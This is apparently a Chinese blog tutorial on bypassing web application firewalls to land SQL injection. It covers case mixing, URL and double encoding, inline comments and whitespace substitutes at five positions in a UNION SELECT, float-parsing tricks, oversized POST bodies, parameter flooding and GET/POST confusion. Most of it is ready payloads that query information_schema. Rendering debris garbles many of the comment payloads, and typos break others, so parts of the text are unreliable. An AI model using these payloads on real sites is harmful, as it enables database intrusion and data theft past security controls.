文章目录
简介
一.大小写混写
在规则匹配时只针对了特定大小写或特定小写的情况下,通过大小写混合的方式绕过
二.编码绕过
 对于极少部分的waf不会对普通字符进行URL解码,如下所示
  union select 1,2,3,4
  转码过后:%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34
  还有就是URL二次编码,如果waf只进行一次URL 解码,便可使用URL 二次编码绕过
三.根据常见的SQL查询位置fuzz方法(模糊测试)
 select *from table where id=1[位置1]union[位置2]select[位置3]1database()[位置4]from[位置5]table,所以一般根据这个五个位置去不断的fuzz
[位置1]id=1与union之间的位置
 (1)内联注释:/
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗/,/
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗!50000union
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗/等形式
 (2)空白字符的替换:%09,%0A,%0B,%0C,%0D,%20,%A0,/
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗XX
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗/
 (3) 浮点数形式绕过:1.1,1.0,1E0,\N
  select * from table where id=1.1union select 1database()from table
  select * from table where id=1.0union select 1database() from table
  select * from table where id=1EOunion select 1.database() from table
  select * from table where id=\Nunion select 1.database() from table
  利用MySQL解析浮点数的特点,正则表达式无法匹配出单词union,但是 MySQL词法解析成功解析出浮点数、sgl关键字union
[位置 2]union与select 中的位置
 (4)内联注释:/
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗/,/
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗!50000union
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗/等形式
 (5)空白字符的替换:%09,%0A,%0B,%0C,%0D,%20,%A0,/
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗xx
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗/
 (6) 括号
 select * from table where id=1 union(select ‘test’,(select user() from table
[位置3]select与查询参数中的位置
 (7) 内联注释:/
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗/,/
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗!50000únion
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗/等形式
 (8) 空白字符的替换:%09,%0A,%0B,%0C.%0D,%20,%A0,/
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗XX
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗/
 (9) 其他字符
   %21 ! 感叹号
   %2b + 加号
   %2d - 减号
   %40 @ 电子邮件符号
   %7e ~ 波浪号
[位置4]参数跟from之间的位置
 (10)内联注释:/**/,/
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗!50000union
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗/等形式
 (11)空白字符的替换:%09,%0A,%0B,%0C,%0D,%20,%A0,/
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗XX
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗/
 (12)浮点数形式绕过:1.1,1.0,1E0 ,\N
  select *from table where id=1 union select 1,database(),1E0from table
 (13)其他符号:括号后面加字母
  SELECT * FROM table where id=1 union select 1database()A from table
  SELECT * FROM table where id=1 union select 1.user()""from table
  其他符号类似
[位置5]from后面的位置
 (14)内联注释:/**/,/
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗!50000union
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗/等形式
 (15)空白字符的替换:%09,%0A,%0B,%0C,%D,%20,%A0,/
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗XX
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗/
 (16)其他符号:
  select * from table where id=1 union select 1,(select(schema name)from{information schema.schemata} limit 0,1)
  select * from table where id=1 union select
 1,(select(schema_name)from(information_schema.schemata) limit 0,1)
四.缓冲区溢出
 当Post大包时,WAF在处理测试向量时超出了其缓冲区长度,超过检测内容长度将会直接Bypass,如果正常用户上传一些比较大的文件,WAF 每个都检测的话性能就会被耗光。基于这些考虑,POST大包溢出的思路可成功Bypass
  /test.php POST: id=1 and (select 1)=(Select
 OxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) union select 1,2,schema_name from information_schema.SCHEMATA
五.函数分割符绕过
 concat%2520()
  concat/**/()
  concat%250c()
  concat%25a0()
  phpinfo ()
六.uri参数溢出hpp
 http://xx.com/test.php POST
 id=1&id=1&jd=1&id=1&id=1&id=1&id=1&id=1&id=1&
 id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id+&ia_1&id=1&id=1&
 id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1 union select1,2,schema_name %0a/
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗!from
    
     
      
       
        ∗
       
      
      
       \ast
      
     
    ∗/information_schema.SCHEMATA这种溢出的形式,uri参数溢出
七. get+post
一个历史久远的逻辑问题了,当同时提交GET、POST请求时,进入POST逻辑而忽略了 GET请求的有害参数输入,可轻易 Bypass









